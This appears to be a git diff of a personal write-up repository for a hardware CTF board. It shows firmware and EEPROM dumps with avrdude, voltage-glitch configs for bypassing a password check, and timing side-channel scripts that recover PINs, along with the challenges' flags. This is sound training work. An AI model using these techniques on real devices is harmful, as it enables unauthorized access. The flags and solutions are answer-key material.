+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
